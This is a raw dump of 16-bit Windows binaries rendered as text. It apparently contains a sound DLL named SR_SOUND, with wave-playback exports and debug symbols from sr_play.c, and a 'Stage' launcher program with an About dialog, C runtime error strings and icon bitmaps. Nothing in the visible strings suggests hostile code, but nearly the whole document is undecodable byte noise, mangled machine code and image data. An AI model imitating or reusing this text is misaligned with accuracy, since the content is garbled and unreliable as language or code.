1k{{{:1:l2jUӛ&;RS#yhH=X%9r;ޏ~(8&3髃_ˏ"ˮȕ-ǓG9MNk PC<40ӓYbKui<)-8,}uF(nF!YirNNin>[AR|./GSy\CUhˉ2}Hqߒo %H3p>]SW{Aw|WHZCLz2=xXo\*,۸kxPk0x,+J*PA嗵RRM Y4gvn,]NNȌOb42&, ֵZ7eEXyd?d?~ȝ2Uk_\&۹6q;E"Z,M^Ҕx~. r)f9uYw)v([8}GWW>̜NQ!&UĊwG?}eg??gzB30{>zWoZە?׺1' \ &G/f9iSϫpdG:d;v7GAy1ޤ sK}, |jO@:[c漏ODo1Ufatn?bW^՟_ϲ'=.jqJ@^w<'~ Mq?J-|&Vʡ7|v+5dۃu_Ieǭ6n%|s3:W: ]tRlL1`Xg ҩ`Я2aCR$u=i4,1MqtEs ?㕚̳vٮR5b\LO yzn&>2pRF"4eqhv<y)1.|Hh-;G>4_ [Gl]>%V3JT|#ZY>b"/Bbg ZW_4W)I%yޛ>|q և@BH$V_t7l8? Q)SZhu`0S§]2.Ipd>y vq<.T|_翻ؗ.?ZȒd EWR2f&|X7,E\n>{;5-ZT}tpwGX܃Ef}AʾGؔ&a3t6%*˸^EWIU~LwΩV(?f9YܝRΨ}1Od,Uf#0xp3@=_gs,K|4sz!Ju"PZAflnLB.5řvAw]bp*Bû,N 3n56/\ I9ےQSh=C )>9UR;Sr=51y.B2zW$К56WR˞"p*sh@}'q$(a'M 2O't+#jy얌̀5UC0lISJIٷ7]*%"cE>}GzALܶVa_Hw2U7Z$5k&e"Әr{=/[5t NU=i#frC4qPIrB[yrm"]6֥5zMq[6s2ܞ-hǣ@/x|x %l]BVwo<_-ZroR8{;<,O}XG}dYZ䬱Aw}9~Hq*K_NR)K s{mCVdKVxﳁ~r\M"D :bއoSQ#G, nq\7꾥R[Zwӭm6FH \['x~KmqF_VX.DO a`eNl*\3*B9 7^3/p}9,dt.DqBi燘&9<#tF1+(# >Rӟ{&cϥ MUŦQYihpOioi%8d?BcR xjqj6q}[ՖylH@c]sd@oD/_U﯀X I"6kXߵ[zhm.nhE}*8&k6l]ʈ*-t.Se#=}s{$ζ䣻b ^듒4oLb<fo VsZ-ȝF[G8Q;"s+]Nzn:C@M}dQ4k7 e~hjɄ[$f{\ie2>bO2 ӭ\Nt}akYJ ApI-oZ]4.;I"쥠pnd2b8^ ľDJ*{ (~'i֏!rH[ pg`9'?.wOD@ cl\ua0Mӏw䆁?p`݈ mu׃ '(!\>~3fw?*>Z[;rqL3URأBFs9 g|o{3N^7wL * -[) ^ҹൗF9ؿWMw^v0f{; ^]a&]ĠqCҢNcǜL3)[[LjطR#٫ZM:BgMZ@ !L!This program requires Microsoft Windows. $NE23 y@PPtx<^  Pbq SR_SOUNDWEP___EXPORTEDSTUB MMSYSTEMKERNEL??v?"??^?R??J SR_SOUND.exe STAGEWAVEDONESTAGEWAVEPAUSE STAGEWAVESTOPSTAGEWAVEUNLOAD STAGEWAVEPLAYSTAGEWAVELOADEFFECTUf VWFF F=u=uF_^Uf VWF~ ujFF_^ Uظf KVW>tT>uJv FVRPj ^N&G &WFVvv v _^f]U{ظf VW6_^f]Uظf VW6_^f]U'ظ f 1VWF>ub6@666j &G &WFVvv a6FF_^f]UWظNf VWFFFF>u]6y666j &G &WFVvv 6v vjjjjF=tFFWAFVEvFRPjjj =uFvj~t9FfmFt vFȌRPFRPj=uFvj~tgF̋VΉFVjFVPFƒ~tFvšډFĉVƃ~t ~tFvšvj ~tKvFċVRPFVRPN^;t;uFvšvšrvj|~t+^&?uvšvšvjF~t[RPjvvjjjjjj=u"všvšvjFvFȌRPj~tFdaFtavFȌRPFRPj=u"vš=všEvjOF=F̋VΉF܉Vރ~t(~tvšvšvjF~thRPjvvċF RPjjjj-=u"F všvšvj^&G Fvš<všD~tch vvܚF~tvjNF7vFV~t ~tvvjF~tVvvvF܋VRPN܋^;t;u"vvvjF vj$~t.Fvvvvv: L =u~tph jj F~tvvF@v暨>t'>tv⚖v⚞vF~t[h jj F~t(vvvvFv䚮FV~t9~t0vv'vWv_voFF^&^F&G^F&GFV&&WF܋V&G&W&G&G&G&GFV&G &W666j =u8vgvwvvv$v,F F_^f]Uظf [VWF>u>u6F666j F~uA666j -& t &u&G &WRP mF_^f]ːUcظ f VWFFN^Ӌ؎&FFN ^ A Ӌ؎&NFN^c Ӌ؎‹F&FNFN ^  Ӌ؎‹F&FF9Fs__^f]U ظf # VW^&w4^&w<^&w ^&w ^&7 ^&7 _^f]ːU ظf VWF VFV؃ڋN^ FVӋN ^ ӋȉNVFVN^ ӉFV\vvvvv I F^6 6W66WF؃ڍ^6 6W66WFV9Vsv9Fs_^f] PSQRH yZY[X3$WHt@ ZY[X CDDBؐEUWV> "$6&3PQ tiPģH0.H t!LģJ.H uO (6p6n6l6j6h  ^_]MˌؐEUظ]M [@$+sL69 wC69 v6 [Z@$+s69 w69 v6 RS˚ ؋2Bt.2ؐEU66 6"6&6$B ]MˌؐEU؋33s&]MˌؐEUVWؐEUVW.yQ uVMD;^X_^]Mˋ6%.H t !;s EtؐEUظP=P5]MؐEU؃ tڎŒF^333 t&>tFu@$F RPnpVϋ3_I^?G^ u^O]M ظPP4D3 t =MuW "]XSPP.>Jt.KˌؐEUVWV;t@t 3_^]MؐEUW_]MZUSQ~QPo[~Y t[1]ؐEU3f]MːQWGtht+IAAw tQs 35D.&~=t;ru"rHs3#R.Zs t+WG w JBw _YËGtQRQSw.H 3 uu@A u VQRP t&;uV t[YZGtJW $[YZWw ;w uwt$OO_ؐEUVv&L^]MˌؐEUVWNwi tH6VW_^s+_;uX6&t;u`t`^t ;r 3 tv tp_^]MˋсQ.H 3 uu`AS u PQR[ tEPtP7 u. t*ŽP2 tXY3ۉG&E G YU컄]ASw _ 3#[uBSw_ ;t6K3 T;sr#tH;s#rЭtƒD[GG [Lt +H+ ƌUW&&G&_SPP" - [_]WOOw HƌڎGG3_&E u &]&&u&\&\Gw&] &]&]&]%?    /kKc 'Vo$id ` qn 06h\ [P  fv<>R6000 - stack overflow R6003 - integer divide by 0 R6009 - not enough space for environment R6018 - unexpected heap error run-time error R6002 - floating-point support not loaded NB09 5CVr6 linkseg.asmCV>4 initseg.asmCV* freelist.asmCV| searchsg.asmCV fdata.asmCV newseg.asmCV@ fmalloc.asmCV malloc.asmCV( growseg.asmCV& nearstub.asmCVwindows\windgrpx.cCV-dos\stdalloc.asmCV crt0fp.asmCVNdos\nmsghdr.asmCVwindows\windgrp.asmCVwindows\wnull.asmCV4Lwindows\fatal.asmCVdos\stdenvp.asmCVx#dos\crt0msg.asmCVdos\crt0dat.asmCVh,windows\stubmain.asmCVZwindows\wchkstk.asmCVwindows\crt0.asmCV8 SR_PLAY.OBJ $ sr_play.obj"lpB <WEPr iExitCoderiReturn&4 .BLibMainshInstDLL ! wDataSegment ! wHeapSizeplpszCommandLineriReturn*dh{qv StageWaveDone swParamlParam lpWaveInst*0( StageWavePause*0("  StageWaveStop. R StageWaveUnloadrbReturn lpWaveInst2zp!StageWaveLoadEffect shwndAppp lpszFilename!wEffectmmckinfoParentshWaveHdrs hWaveInstshData! wBlockSize" dwDataSizemmckinfoSubchunkpFormatshFormatplpData" dwFmtSize lpWaveInstshmmiosuReturn*^" StageWavePlaysuReturn*`d $ InterchangephpchPos1 phpchPos2!wLength bTemp!wPlace&aY &cleanup lpWaveInst.,: (WaveEffectReverse plpData" dwDataSize! wBlockSizephpch2phpch1(8.007 P7 (r:\tools\stage\source\sr_sound\sr_play.c  6<BOT]djpv "5;DJRejt} 1CQZ`flr%6?DGWinv9AISX[lu38@HRU_gox(-0:CI]`cqz #+03AS[cks{ (08@EHNT^qv  ' / Q    & 1 : M Y ( . %&(),./69>CDGHIKRSTUV^_`ablmqstuvwxyz{|~    "$%&'),/0478:;=?@BCDIKMNOPRUZ\_`cdgklnoprtuwxyz      4 pStackBotv StageWaveDonet__fheap@__oserr!_edata__end __wHeapSize: WAVEEFFECTREVERSEn __amblksiz> __amsg_exit __NMSG_WRITE  _bWaveStopped_aseghi_asegloh __stubmain< __osversion:__osver  _Interchange^ __environ  pStackTop@ __doserrno9 __winmajor8 __winminor!__edata __GetDGROUPv __fptaskdata __freefarheap ___aDBswpflg pLocalHeap" StageWaveStopBLIBMAIN_endStageWaveLoadEffect _bWaveLoadedStageWavePause*__fac _bWavePausedWEP __lpszCmdLinersrvptrsX___argcZ___argv@__ffree __freelistp __pnhFarHeap __myalloc __searchsega __fmalloc pAtomTable __findlast; __osmajor: __osminor __setenvpx__FF_MSGBANNER__fptrapT__astart__newseg6 __umaskval  pStackMinRStageWaveUnloadi __exitflag__c_exitD__osfile _cleanup__incseg__wflags>__osmodeb__pgmptr__nomain8__winver__fpinit__cinit4_errno.__chkstk __aDBdoswpj __adbgmsg^ StageWavePlay( __growsegr __linkseg> __initsegg__childB__nfile" __aaltstkovr___ExportedStubv __acrtmsg& __aintdiv4 __cintDIV _STKHQQ__cexit; __ctermsub ___aDBrterr _hWaveOut& __nearstub __wDataSeg __hModule? __cpumode _lpWaveHdr __aDBusedv __acrtused. __aFchkstk __NMSG_TEXT __aNchkstk __dllinit( _hInstanceDLL__sizec__sized 0xH  TL6C44xTUD FL>,5`VX*1zk =[uy0f]uppx'dfuę,k%TaLulaluXMה.w^ 0CK RxU~3vWmeZ7|l}P.( w&BM؛Y؛\zJB1j :K+cK˪{uhU43GzD4aN4|\j!>)Hϫxo_@fyr@d7˛tsuvpDWEPC !X; s@kv,@|$^H`Oj\f_Ntuw2er, #lSvgQ(/,XppkLcQ^ c,$Ԑ"BCBhұu R|*{\Fs2@J{vj8Z}P xPIljBDAe7tW՘T ';bDHRuŻDM(X`x !+DBv"R^x x : T@.t.4hP;xX4>&(D@aD>rlh0, l xT  \"D&*,46889d:p:\;L<>?@@@BdDXZ^bg8iljnp,tT 8T "DWORDvp sHFONTpLPCSTR DRVCALLBACK sHMENU rHFILEsHACCELsHMODULEsHWAVEIN  WNDENUMPROC  GNOTIFYPROCLRESULTr bWaveLoaded"BCBa2  TIMERPROC TIMECALLBACK WAVECALLBACKwaveInstWAVEINST MIDICALLBACK sATOM  BYTE rBOOLsWPARAM sHWND sHRGN sHPEN sHDWP  GOBJENUMPROC _MMCKINFOr bWavePaused pPSTR  FONTENUMPROC(s hInstanceDLL r bWaveStopped  PROPENUMPROC sUINT !WORDvWsHLOCALmpLPARAM FL>  DLGPROC FARPROC"COLORREFw&BhsHGLOBAL sHDRVR pHPSTR pLPSTRWEP$waveformat_tag  ABORTPROC  MFENUMPROC"FOURCCWNDPROC LPWAVEFORMATsHCURSORsHBRUSH sHRSRC wavehdr_tag LPMMIOPROC sHDCs HINSTANCEMMIOPROCsHANDLEs HMETAFILE  RSRCHDLRPROCsHBITMAP  LINEDDAPROC LPWAVEINST4Ddvj sHICON lpWaveHdrsHGDIOBJ sHMMIOshWaveOutsHWAVEOUTsHPALETTE!VERSIONv,@sHMIDIOUT GRAYSTRINGPROCs LPHWAVEOUT HOOKPROCsHMIDIIN OLDFONTENUMPROCLPVOID YIELDPROCLPTIMECALLBACK "HHOOK sHTASK @ PH  dQx4pDԈ$ĤtD FL>h`@iف 1\*q`0#n8V5Eg5%iC}Q$40<,vWmG$$HDCZ Ԕ< lE0$a2(=#`eFkF w&B@Kh}%K,X!ļUPXD4D;.8W9OE OtUDEX$kf(DV5E` 7swlU vptQ\ἀt$E4PWEP4\v,@M!(Pg4alDtQH/er,$eu GGUwgw0zpcI]Om{LT"BCB<гuLгu|$EU$u6xgvj|87bĽWq uDX$)5E%`MeE;G`e%%JLek{lѼ (XXX PB v "R\^  : H 0 MMSYSTEM.LIB oldnames.liblibw.lib commdlg.lib shell.lib olecli.lib olesvr.lib ldllcew.lib)$d (4<LX`8 ,8DP\dp|sss >s hWaveInstshWaveHdrs hWaveDatawaveInstn! wFormatTag! nChannels"nSamplesPerSec"nAvgBytesPerSec! nBlockAlignwaveformat_tag r  ps   Z"ckid"cksize"fccType" dwDataOffset"dwFlags _MMCKINFOss"""  s" s wavehdr_tagplpData"dwBufferLength"dwBytesRecorded" dwUser"dwFlags"dwLoopslpNext"reservedr rs!!p r s  sp! s  s  pp! # % p"! r')( 8 8 ("(*0(5;(@E(JN(SX(]a(fi(nr(w{((((((((((((((((( $((,(04|(8=~(AF(JN(RU(Y](af(jn(rw({SR_PLAY_TEXTCODE_TEXTCODENULLBEGDATA_DATADATACDATADATAXIFBDATAXIFDATAXIFEDATAXIBDATAXIDATAXIEDATAXPBDATAXPDATAXPEDATAXCBDATAXCDATAXCEDATAXCFBDATAXCFCRTDATAXCFDATAXCFEDATAXIFCBDATAXIFUDATAXIFLDATAXIFMDATAXIFCEDATADBDATADATACONSTCONSTHDRMSGMSGMSGPADMSGEPADMSG_BSSBSSXOBBSSXOBSSXOEBSSXOFBBSSXOFBSSXOFEBSSc_commonBSSDGROUP(r:\tools\stage\source\sr_sound\sr_play.c "  ( H! l!        $!  H'  p%   $ (   & H$ l$ $ ) ( % 0 %P@'*)h 4+( +\+|+4-/8.23x4NB096BDFH6J3PQ tiPģl0.`t!pģn.`us L66666 ^_]MˌؐEUظ]M [@$+sL69 wC69 v6 [Z@$+s69 w69 v6 RS˚6؋VBt.V UW~3O F u&:uO t3E_]ˌؐEU6B6D6F6J6H6 ]MˌؐEU؋33s&]MˌؐEUVWؐEUVW.Q uVMD;^X_^]MˋZ%.`t!;s EtؐEUظP=P5]MؐEU؃ tڎŒF^333 t&>tFu@$F RPVϋ3_I^?G^ u^O]M ظPP4D3 t =MuW "]XSPP.>t.ˌؐEUVWV;t@t 3_^]MؐEUW_]MZUSQQP[Y t[1]ؐEU3f]MːQWGtht+IAAw tQs 35Dz&=t;ru"rHs3#R.Zs t+WG w JBw _YËGtQRQSw.`3 uu@A u VQRP t&;uV t[YZGtJW $[YZWw ;w uwt$OO_ؐEUVv&L^]MˌؐEUVWNwi tH 6VW_^s+_;uX6&t;ut^ t ;r 3 tv tp_^]MˋсQ.`3 uu`AS u PQR[ tEPtP u. t*ŽP~ tXY3ۉG&E G YU컨]ASw _ 3#[uBSw_ ;t6K3 T;sr#tH;s#rЭtƒD[GG [Lt +H+ ƌUW&&G&_SPP[_]WOOw HƌڎGG3_&E u &]&&u&\&\Gw&] &]&]&]~ tjF U6jjdvhh~ jvWVY ؋N -t- tH-tUHu~WhPFP>tPjj6WFPQv vvvV VjvPhj\P4  t)j\P= @RPhS h P_ hi h P& VPFPhQh 6jPh vhlPjP t}FPhNQj FPhQjP FPhNQj vhFPj? FPPFPFPlPPP6jPhVhPvjho  u6PhF Ht-t vj3^_ About %sAbout*  t /  p    C * 0|1I n % ' (B) 8V9 XYt[*Wh Tf X [N \INISTAGE.INI\STAGESTAGEMENU_1\STAGESTAGE<>R6000 - stack overflow R6003 - integer divide by 0 R6009 - not enough space for environment R6018 - unexpected heap error run-time error R6002 - floating-point support not loaded  vAbout MS Sans SerifC_2POKqP P QP! FP#<PStatic  P8%s Version %s %s Copyright %s, %s. All rights reserved.sProgram information missing. Please create STRING TABLE for main program with strings that are defined in STAGE.H.( @DLDDDDODODDDLDDDDDDDDLMDDDDDLDO$DO$DO"DDO"DL"$ODD"$DD"/DO"$DDL"$ODD""ODDDL"DDDML""""DDDMDD""""DDDDDDL""""""DDDDDDD""""""$DDDDDDDD"""""""$DDDDDDDDECU CFGa%GALAXY EXE&|!`1000 INIs|d@200 INIe|!(?wwww wwwwwwwwwwwwwwwwwwwwwwwwwwwwww www ww wwwwwwwwww www wwwwq wwwqwwwwq wwwww    wwwwwwwwwwwwwwwwwwwwwwwwwwwwww(?w wwwwwwwwwDGwffD ffdww ffdww fgwwwwwdDDGwwffdGww ffDwww ffdOwwwvffDww wffdGwwwvffDwwDwffdGw fDOvfdGffDOffOfffDDffO fffffd ffffo ffo wwwwwwwwwwwwwwwwwwwwwwwwwwwwww(?            wwwwwwwwwwwwwwwwwwwwwwwwwwwwww(?'wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww w wwwxwwwwDGwxw"Dwww"$Gwxw"""Dwww"""$Gwxw""""Dwwxw""""$Gwxw"""""Dwwxw""*"$Gwxw ""G""Dwwxw""Gz"$Gww""Gx""Dwxxw"Gx"$www"H"$Gwxxw("Dwww"$Gwxxw"Dwww"$Gww"Dww"$ww$ww$wwwwwww(?'wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww w wwxwwwxwwwwwwxwxwwwwwwwxwxxxxxxxxxxxxxxxxxxwwywwwwxww xwwxwwwxwwwwxwwwwwxwywwwwxxxxxxxxxxxxxxxxxwwxwxwwwwwww